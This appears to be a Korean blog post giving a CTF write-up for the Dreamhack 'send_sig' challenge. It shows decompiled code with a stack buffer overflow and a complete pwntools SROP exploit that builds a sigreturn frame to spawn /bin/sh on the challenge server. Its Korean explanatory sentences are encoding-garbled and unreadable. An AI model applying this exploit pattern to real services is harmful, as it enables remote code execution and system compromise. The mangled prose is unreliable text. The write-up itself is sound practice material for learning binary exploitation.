
send_sig
Code
start ํจ์
void __noreturn start()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
write(1, "+ You can send a signal to dreamhack server. +\n", 0x39uLL);
write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
sub_4010B6();
exit(0);
}
sub_4010B6 ํจ์๋ฅผ ํธ์ถํ๋ ๊ฑธ ํ์ธํ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๋ถ์ํด๋ณด๊ณ ์ ํ๋ค.
sub_4010B6 ํจ์
ssize_t sub_4010B6()
{
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
write(1, "Signal:", 7uLL);
return read(0, buf, 0x400uLL);
}
๋ค์ ํจ์๋ฅผ ๋ณด๋ฉด, buf์ ํฌ๊ธฐ๋ 8์ธ๋ฐ, read ํจ์๋ฅผ ํตํด 0x400๋งํผ ์ฝ์ด๋ค์ด๊ธฐ ๋๋ฌธ์ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค.
sub_401090 ํจ์
const char *sub_401090()
{
return "/bin/sh";
}
์ต์คํ๋ก์ ์ฝ๋
from pwn import *
context.arch = "x86_64"
p = remote("host3.dreamhack.games", 13589)
e = ELF("./send_sig")
r = ROP(e)
pop_rax = r.find_gadget(['pop rax', 'ret'])[0]
syscall = r.find_gadget(['syscall'])[0]
binsh = 0x402000
frame = SigreturnFrame()
# execve("/bin/sh", 0, 0)
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b"A" * 16
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)
p.sendlineafter("Signal:", payload)
p.interactive()
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack System Hacking] _IO_FILE (0) | 2022.11.18 |
---|---|
[Dreamhack System Hacking] SigReturn-Oriented Programming (0) | 2022.11.14 |
[Dreamhack System Hacking] SROP (0) | 2022.11.14 |
[DreamHack System Hacking] rtld (0) | 2022.09.22 |
[DreamHack System Hacking] __eviron (0) | 2022.09.21 |